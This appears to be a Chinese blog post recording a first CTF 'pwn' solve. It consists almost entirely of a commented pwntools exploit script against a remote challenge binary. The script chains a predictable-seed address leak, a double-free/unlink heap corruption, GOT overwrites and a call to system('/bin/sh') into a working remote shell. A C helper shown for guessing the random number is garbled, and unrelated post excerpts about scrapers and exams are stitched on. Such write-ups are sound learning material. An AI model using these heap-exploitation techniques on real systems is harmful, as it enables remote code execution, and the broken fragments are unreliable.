記第一次解PWN題目

2021-08-26 20:41:07 字數 2944 閱讀 2108

# -*- coding: cp936 -*-

from pwn import *

g_local=false

#不設定log_level為debug會導致程式的輸出不顯示出來

context.log_level = 'debug'

if g_local:

#啟動程式

p = process('./club')

#偵錯程式附加該程式

#gdb.attach(p)

else:

#連線遠端伺服器

p = remote('123.206.22.95',8888)

#修改快取區內容

def edit(index,content):

p.send('3')

p.recvuntil('> ')

p.send(str(index+1))

p.send(content)

p.send('\x0a')

p.recvuntil('> ')

#申請一段記憶體

def create(index,size,content):

p.send('1')

p.recvuntil('> ')

p.send(str(index+1))

p.recvuntil('> ')

p.send(str(size))

p.recvuntil('> ')

edit(index,content)

#釋放一段記憶體

def delete(index):

p.send('2')

p.recvuntil('> ')

p.send(str(index+1))

p.recvuntil('> ')

def delete2(index):

p.send('2')

p.recvuntil('> ')

p.send(str(index+1))

def getpwn():

system_off = 0x45390

puts_off = 0x6f690

#got_addr = 0x202018

#p_addr=0x202128

#puts_plt = 0x8a0

#seed_addr=0x202148

p.recvuntil('> ')

p.send('5')

p.recvuntil('> ')

p.send('1')

p.recvuntil('> ')

p.send('5')

p.recvuntil('> ')

#程式會用乙個全域性變數的基位址當作隨機種子,並生成隨機數讓你猜

#猜對了就會顯示這個全域性變數的基位址

#偽隨機演算法存在乙個問題,如果種子一樣,那麼生成的隨機數也一樣

#所以可以通過使用同樣的隨機函式庫來窮解求出接下來的隨機數

secondrandom=input('input second random...\n')

p.send(str(secondrandom))

p.recvuntil(': ')

r=p.recvuntil('!')

numstr=r[0:len(r)-1]

seed_addr=long(numstr)

#獲得全域性變數基位址

log.info('seed_addr:'+hex(seed_addr))

#通過這個基位址,計算got表位址,陣列位址,puts函式位址,

got_addr=seed_addr-0x130

p_addr=seed_addr-0x28

puts_plt=seed_addr-0x2018a8

p.recvuntil('> ')

create(0,0x20,'0000')

#利用double free漏洞,最終使*p=p-0x18

create(2,0x120,'2222')

create(1,0x110,'1111')

delete(2)

delete(1)

payload = p64(0)+p64(0x121)+p64(p_addr-0x18)+p64(p_addr-0x10)+'a'*(0x120-0x20)+p64(0x120)+p64(0x240-0x120)

create(3,0x240,payload)

delete(1)

#修改x[3]相當於在修改&x[3]-0x18=>>&x[0]

edit(3,p64(got_addr)+p64(got_addr+0x10))

#由於got表的第一項為free函式,所以這裡將free函式修改為了puts函式

edit(0,p64(puts_plt))

#輸出got_addr+0x10的內容,即輸出glibc模組中puts的位址

delete2(1)

#利用偏移可以計算出system函式位址

puts_addr = p.recv(6)

log.info('puts_addr:'+puts_addr)

system_addr = u64(puts_addr+'\x00'*2)-puts_off+system_off

log.info('system address:'+hex(system_addr))

p.recvuntil('> ')

#最終呼叫system拿到shell

edit(2,'/bin/sh\x00')

edit(0,p64(system_addr))

delete2(2)

p.interactive()

#最後不要忘記了輸入ls命令,取得flag

getpwn();

猜隨機數的**

#include #include int main()  

}}

記第一次爬蟲

出不來結果的時候,真是著急,期間犯了很多錯誤,這個過程痛苦並快樂著 哈哈哈哈哈,哈哈哈哈哈 import urllib.request import re import os url page urllib.request.urlopen url read page page.decode gbk ...

記第一次爬蟲

在學習爬蟲的過程中,我首先進行的是對豆瓣top250的爬取,步驟可分為如下幾步 第一步 抓包 url 第二步 請求url 第三步 解析,提取出我需要的資訊 第四步 存入檔案 首先我對豆瓣的網頁進行了分析,開啟要抓取的網頁,f12 f5,這樣你就可以看到網頁原始碼了,進入到network,找到要抓取的...

記第一次自考

第一次自考,總體來說還是比較慘淡。給自己打個分,也就是百分制的33.3吧,估計三科也就能過一科。這次自考中,本人對於考試的方式擺脫了傳統的 大學考試 風格,回歸 高中方式 不再仔細解釋了 對於考題,感覺 網路經濟與企業管理 比較簡單,資料庫系統原理 比較簡單,資訊系統開發與管理 相對比較麻煩。分析一...